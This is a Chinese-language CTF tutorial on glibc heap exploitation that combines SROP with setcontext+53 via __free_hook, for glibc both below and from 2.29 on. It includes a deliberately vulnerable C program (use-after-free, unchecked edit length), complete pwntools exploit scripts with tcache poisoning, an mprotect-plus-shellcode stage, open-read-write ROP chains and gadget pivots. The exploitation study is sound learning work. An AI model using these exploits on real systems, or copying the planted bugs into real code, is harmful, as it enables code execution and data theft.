srop搭配高低版本的setcontext

srop技术想来大家应该都是相当熟悉了,它是利用signal 机制,这是一种类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。

其中涉及内核,但是我觉得学到这里的师傅们应该都对其有所了解,简单来说就是利用内核中的一个部分,起到控制所有寄存器的效果

相对应的,我们的libc里面也有一个很类似的函数,setcontext,我们可以看一下样子

pwndbg> info address setcontext
Symbol "setcontext" is at 0x7fab8d034c80 in a file compiled without debugging.
pwndbg> u 0x7fab8d034c80 20
 ► 0x7fab8d034c80 <setcontext>        push   rdi
   0x7fab8d034c81 <setcontext+1>      lea    rsi, [rdi + 0x128]
   0x7fab8d034c88 <setcontext+8>      xor    edx, edx               EDX => 0
   0x7fab8d034c8a <setcontext+10>     mov    edi, 2                 EDI => 2
   0x7fab8d034c8f <setcontext+15>     mov    r10d, 8                R10D => 8
   0x7fab8d034c95 <setcontext+21>     mov    eax, 0xe               EAX => 0xe
   0x7fab8d034c9a <setcontext+26>     syscall
   0x7fab8d034c9c <setcontext+28>     pop    rdi
   0x7fab8d034c9d <setcontext+29>     cmp    rax, -0xfff
   0x7fab8d034ca3 <setcontext+35>     jae    setcontext+128              <setcontext+128>

   0x7fab8d034ca5 <setcontext+37>     mov    rcx, qword ptr [rdi + 0xe0]
   0x7fab8d034cac <setcontext+44>     fldenv [rcx]
   0x7fab8d034cae <setcontext+46>     ldmxcsr dword ptr [rdi + 0x1c0]
   0x7fab8d034cb5 <setcontext+53>     mov    rsp, qword ptr [rdi + 0xa0]
   0x7fab8d034cbc <setcontext+60>     mov    rbx, qword ptr [rdi + 0x80]
   0x7fab8d034cc3 <setcontext+67>     mov    rbp, qword ptr [rdi + 0x78]
   0x7fab8d034cc7 <setcontext+71>     mov    r12, qword ptr [rdi + 0x48]
   0x7fab8d034ccb <setcontext+75>     mov    r13, qword ptr [rdi + 0x50]
   0x7fab8d034ccf <setcontext+79>     mov    r14, qword ptr [rdi + 0x58]
   0x7fab8d034cd3 <setcontext+83>     mov    r15, qword ptr [rdi + 0x60]
   0x7fab8d034cd7 <setcontext+87>     mov    rcx, qword ptr [rdi + 0xa8]
   0x7fab8d034cde <setcontext+94>     push   rcx
   0x7fab8d034cdf <setcontext+95>     mov    rsi, qword ptr [rdi + 0x70]
   0x7fab8d034ce3 <setcontext+99>     mov    rdx, qword ptr [rdi + 0x88]
   0x7fab8d034cea <setcontext+106>    mov    rcx, qword ptr [rdi + 0x98]
   0x7fab8d034cf1 <setcontext+113>    mov    r8, qword ptr [rdi + 0x28]
   0x7fab8d034cf5 <setcontext+117>    mov    r9, qword ptr [rdi + 0x30]
   0x7fab8d034cf9 <setcontext+121>    mov    rdi, qword ptr [rdi + 0x68]
   0x7fab8d034cfd <setcontext+125>    xor    eax, eax                            EAX => 0
   0x7fab8d034cff <setcontext+127>    ret
   0x7fab8d034d00 <setcontext+128>    mov    rcx, qword ptr [rip + 0x36b161]     RCX, [0x7fab8d39fe68] => 0xffffffffffffff80
   0x7fab8d034d07 <setcontext+135>    neg    eax
   0x7fab8d034d09 <setcontext+137>    mov    dword ptr fs:[rcx], eax
   0x7fab8d034d0c <setcontext+140>    or     rax, 0xffffffffffffffff
   0x7fab8d034d10 <setcontext+144>    ret

这是在gdb里面查看的setcontext函数,可以看到,在从setcontext加53的位置开始,就会依次通过rdi指向的位置,来给所有寄存器,除了rax赋值,事实上,rax在这个函数返回前,固定被设置成0

这个时候我们又要

提到free hook这个函数,大家都知道free hook函数里面有数据的时候,free的时候会先执行这个这个函数

我们来看一下free函数的源代码

   0x7fab8d3beb71 <free+1>             mov    rbx, qword ptr [rip + 0x20d550]     RBX, [alloc_last_block]
   0x7fab8d3beb78 <free+8>             cmp    rbx, rdi
   0x7fab8d3beb7b <free+11>            je     free+16                     <free+16>

   0x7fab8d3beb7d <free+13>            pop    rbx
   0x7fab8d3beb7e <free+14>            ret
   0x7fab8d3beb7f <free+15>            nop
   0x7fab8d3beb80 <free+16>            mov    rdx, qword ptr [rip + 0x20d551]     RDX, [alloc_ptr]
   0x7fab8d3beb87 <free+23>            mov    rdi, rbx
   0x7fab8d3beb8a <free+26>            xor    esi, esi                            ESI => 0
   0x7fab8d3beb8c <free+28>            sub    rdx, rbx
   0x7fab8d3beb8f <free+31>            call   memset                      <memset>

   0x7fab8d3beb94 <free+36>            mov    qword ptr [rip + 0x20d53d], rbx
   0x7fab8d3beb9b <free+43>            pop    rbx
   0x7fab8d3beb9c <free+44>            ret

这里看的可能不是很明显,但是换成静态汇编就比较明显

image-20240929225121799

在把rdi改成当前堆块地址之后,才会去调用free hook函数,这是时候就会产生利用的地方了,想想看,如果我们在堆块里面布置好SigreturnFrame结构体,就可以搭配setcontext达到几乎为所欲为的效果。除了rax不可以修改,剩下都可以修改,我们来用题目演示一下

2.29以下

setcontext有两种结构,根据版本的高低,上面演示的是低版本的setcontext,我们先以它为例

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

这是题目源代码,为了方便演示,几乎常见的漏洞都会有,使用gcc编译一下程序

gcc pwn.c -o pwn -g

我这里的libc版本是2.27

首先简单的逆向和泄露libc,都是相当简单的操作,我这里就不在过多赘述

from pwn import *

context(arch="amd64", os="linux")
context.log_level = 'debug'
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))

def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))

def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)

def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

add(0, 0x500)
add(1, 0x18)

free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))

利用largebin去泄露就可以了,重点其实放在后面的伪造上面

我们接利用tcachebins,去任意地址申请,申请到free_hook的位置

add(0, 0x400)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)

image-20240929231001091

这样的话,我们连续申请两个大小为0x400堆块,申请的第二个堆块就会申请到free_hook,对它进行编辑就会编辑到free_hook

然后放入我们的第一段shellcode

shellcode1 = '''
        xor rdi,rdi
        mov rsi,%d
        mov edx,0x1000

        mov eax,0
        syscall

        jmp rsi
        ''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)
edit(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))

这里需要解释一下这段shellcode是什么意思,我们想用mprotect函数开辟一段可读可写可执行的区域,但是mprotect函数的第一个参数,必须要页对齐,而%d的功能,是将常数加载到寄存器 rsi 中,%d 通过 Python 的字符串格式化来替换。这里的 %d 是由 libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000 表达式计算得出的值。这个值是 __free_hook 的地址按页对齐的结果。

然后布置好free_hook的值。

image-20240929232602470

把chunk1里面放上frame结构体,这样我们free1的时候就会按照frame的情况进行改写,注意把rip改写成mprotect,这样下一句执行语句就是mprotect,然后把栈迁移到free_hook加8的位置,那下一步进入的其实就是我们放的shellcode1

frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7
edit(1, bytes(frame))
free(1)

我们把断点下在free函数上,调试看看

image-20240930004128015

这个时候会跳转到free_hook函数上面,而这里被我们放上了setcontext函数加53

接着往下走

image-20240930004145013

setcontext结束之后,它的rip被我们改成了mprotect函数,剩下的寄存器也都按照我们的要求写好了,接着往下就可以把包括free_hook的那一大段都改成可读可写可执行

image-20240930004555707

再次ret的时候,就会回到我们写入shellcode1的位置了,我们当然可以在这里就放上orw,但是有的时候长度不够的情况下,就可以按照这个shellcode进行编写,调用read,和跳转,往别的地方写入shellcode,然后在跳过去

shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd 
mov rsi,rsp  ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd 
mov rsi, rsp ;// buf
mov rdx, rax ;// count 
mov rax, 1 ;// SYS_write
syscall

mov rdi, 123 ;// error_code
mov rax, 60
syscall
'''
io.sendline(asm(shellcode2))
io.interactive()

最后附上完整代码

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))

def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))

def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)

def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

add(0, 0x500)
add(1, 0x18)

free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))

add(0, 0x400)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)
shellcode1 = '''
        xor rdi,rdi
        mov rsi,%d
        mov edx,0x1000

        mov eax,0
        syscall

        jmp rsi
        ''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)
edit(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))

frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7
edit(1, bytes(frame))

free(1)
shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd 
mov rsi,rsp  ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd 
mov rsi, rsp ;// buf
mov rdx, rax ;// count 
mov rax, 1 ;// SYS_write
syscall

mov rdi, 123 ;// error_code
mov rax, 60
syscall
'''
io.sendline(asm(shellcode2))
io.interactive()

当然,直接走rop链也是完全没有问题的,这里就不再过多赘述

2.29及以上

在2.29以上的setcontext函数则是有所变化

pwndbg> p setcontext
$1 = {<text variable, no debug info>} 0x7f7775c5bcf0 <setcontext>
pwndbg> u 0x7f7775c5bcf0 20
 ► 0x7f7775c5bcf0 <setcontext>        push   rdi
   0x7f7775c5bcf1 <setcontext+1>      lea    rsi, [rdi + 0x128]
   0x7f7775c5bcf8 <setcontext+8>      xor    edx, edx               EDX => 0
   0x7f7775c5bcfa <setcontext+10>     mov    edi, 2                 EDI => 2
   0x7f7775c5bcff <setcontext+15>     mov    r10d, 8                R10D => 8
   0x7f7775c5bd05 <setcontext+21>     mov    eax, 0xe               EAX => 0xe
   0x7f7775c5bd0a <setcontext+26>     syscall
   0x7f7775c5bd0c <setcontext+28>     pop    rdx
   0x7f7775c5bd0d <setcontext+29>     cmp    rax, -0xfff
   0x7f7775c5bd13 <setcontext+35>     jae    setcontext+128              <setcontext+128>

   0x7f7775c5bd15 <setcontext+37>     mov    rcx, qword ptr [rdx + 0xe0]
   0x7f7775c5bd1c <setcontext+44>     fldenv [rcx]
   0x7f7775c5bd1e <setcontext+46>     ldmxcsr dword ptr [rdx + 0x1c0]
   0x7f7775c5bd25 <setcontext+53>     mov    rsp, qword ptr [rdx + 0xa0]
   0x7f7775c5bd2c <setcontext+60>     mov    rbx, qword ptr [rdx + 0x80]
   0x7f7775c5bd33 <setcontext+67>     mov    rbp, qword ptr [rdx + 0x78]
   0x7f7775c5bd37 <setcontext+71>     mov    r12, qword ptr [rdx + 0x48]
   0x7f7775c5bd3b <setcontext+75>     mov    r13, qword ptr [rdx + 0x50]
   0x7f7775c5bd3f <setcontext+79>     mov    r14, qword ptr [rdx + 0x58]
   0x7f7775c5bd43 <setcontext+83>     mov    r15, qword ptr [rdx + 0x60]
   0x7f7775c5bd47 <setcontext+87>     mov    rcx, qword ptr [rdx + 0xa8]
   0x7f7775c5bd4e <setcontext+94>     push   rcx
   0x7f7775c5bd4f <setcontext+95>     mov    rsi, qword ptr [rdx + 0x70]
   0x7f7775c5bd53 <setcontext+99>     mov    rdi, qword ptr [rdx + 0x68]
   0x7f7775c5bd57 <setcontext+103>    mov    rcx, qword ptr [rdx + 0x98]
   0x7f7775c5bd5e <setcontext+110>    mov    r8, qword ptr [rdx + 0x28]
   0x7f7775c5bd62 <setcontext+114>    mov    r9, qword ptr [rdx + 0x30]
   0x7f7775c5bd66 <setcontext+118>    mov    rdx, qword ptr [rdx + 0x88]
   0x7f7775c5bd6d <setcontext+125>    xor    eax, eax                            EAX => 0
   0x7f7775c5bd6f <setcontext+127>    ret
   0x7f7775c5bd70 <setcontext+128>    mov    rcx, qword ptr [rip + 0x36f0f9]     RCX, [0x7f7775fcae70] => 0xffffffffffffff80
   0x7f7775c5bd77 <setcontext+135>    neg    eax
   0x7f7775c5bd79 <setcontext+137>    mov    dword ptr fs:[rcx], eax
   0x7f7775c5bd7c <setcontext+140>    or     rax, 0xffffffffffffffff
   0x7f7775c5bd80 <setcontext+144>    ret

可以看到,我们现在的setcontext函数是依靠rdx进行传参,这就意味着我们调用free函数的时候,控制的rdi寄存器对我们的劫持没有了什么用,

很容易想到,我们可以先调用一些gadget,使得rdi与rdx互相转换,但是不幸的是,正常转换的gadget只能劫持一次程序执行流,这也就是说,我们只能进行一次转换,再之后没有办法利用SigreturnFrame结构体进行寄存器的改写了,所有我们需要一种特殊的gadget,这种gadget可以达成两个效果,修改和再一次劫持程序执行流

一般来说,我们会尝试寻找这样两种gadget

mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;
mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];

这两个gadget可以同时达到上述两种效果,一个依靠jmp语句,一个依靠call语句,还是这道题目,我们尝试用这两个gadget都写一下exp

gadget1

前面的泄露就不再多说,此处使用的是Ubuntu 8.4.0-1ubuntu1~18.04的libc,所以在劫持tcachebins的时候要注意,多释放一个堆块,因为这个版本往上的,都是通过tcachebins结构体记录的堆块数量来确定tcachebins链表的,而不是之前那种仅仅依靠fd指针

前面的泄露就不再多说,直接从后面的gadget开始,先用mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;演示一下

add(0, 0x500)
add(1, 0x18)

free(0)
show(0)
libc.address = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))

add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook

在我们劫持完free_hook之后,向free_hook里面填入这个gadget,gadget之后放上我们的rop链。我们先定义一些数据位置

payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
frame_addr = buf_addr + 0x20

因为payload就放在free_hook及其后面的位置,所以这里直接就是free_hook的地址,然后这个buf其实填的是flag字符串,从free_hook一直到buf里面都放上我们的rop链,然后为了减少长度,我们的SigreturnFrame结构体可以完成open的功能

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0

payload = b'' 
payload += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;'), executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += bytes(frame)

到这里,算是完成的基本的布局,最后两行是要填充到frame结构体的位置,然后我们先把free_hook改写成我们的payload,把某个堆的数据改写成setcontext+53加上frame结构体地址,free掉它

edit(0, payload)
edit(1, p64(libc.sym['setcontext'] + 53) + p64(frame_addr))
free(1)

我们跟着gdb看看

image-20241004231727165

在我们执行free的时候,我们会先跳转到free_hook,执行放free_hook里面的gadget,这个时候的rdi里面就是我们放在堆里面的数据,也就是setcontext+53,然后执行mov rdx, qword ptr [rdi + 8],要注意的是,这个时候的[rdi+8]里面放的是frame结构体的地址,这个时候的rdx里面就放上了这个地址,其实就相当于完成了从rdi到rdx的转变

然后执行mov rax, qword ptr [rdi],这一句直接把setcontext+53放进了rax里面,因为后面会call rax,相当于call setcontext+53

image-20241004232444906

可以看到,我们会跳转到这里执行,这个时候的rdx就是frame结构体的地址,执行完setcontext之后,会按照frame结构体,接着执行open,read和puts函数,拿到我们的flag

image-20241004232755527

gadget2

那么对应gadget2,其实是一样的思路,前面就不放了,并且写法都相同,要注意的就是我们需要修改frame结构体,需要对其进行类型转换,转换成字节数组,才可以对其进行修改,在ljust到0x100之后,填充如下数据

frame = bytearray(bytes(frame))
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 53)
payload += frame
edit(0, payload)
edit(1, p64(0)+ p64(frame_addr))
free(1)

我们来gdb看一下这个gadget,第一句是一样的,从第二句开始,执行mov qword ptr [rsp], rax,这个时候的rax是我们上一句gadget的地址,这一句没有任何影响,重点看下一句,call qword ptr [rdx + 0x20],这个时候的rdx里面放的是我们的p64(frame_addr),加上0x20的位置被我们改成了setcontext+53,然后就和上面相同,依次执行open,read和puts

image-20241004234722213

最终可以拿到flag

附上完整代码(前半部分的逆向就不再重复了)

add(0, 0x500)
add(1, 0x18)

free(0)
show(0)
libc.address = u64(io.recvuntil('\x7F')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))

add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook

payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
frame_addr = buf_addr + 0x20

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0

payload = b'' 
payload += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;'), executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
'''
frame = bytearray(bytes(frame))
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 53)
payload += frame
edit(0, payload)
edit(1, p64(0)+ p64(frame_addr))

gdb.attach(io, "b __libc_free\nc")
free(1)
这里注意改写payload的第一行
'''
payload += bytes(frame)
edit(0, payload)
edit(1, p64(libc.sym['setcontext'] + 53) + p64(frame_addr))
free(1)

除了setcontext+53之外,部分gadget是setcontext+61,这一点需要注意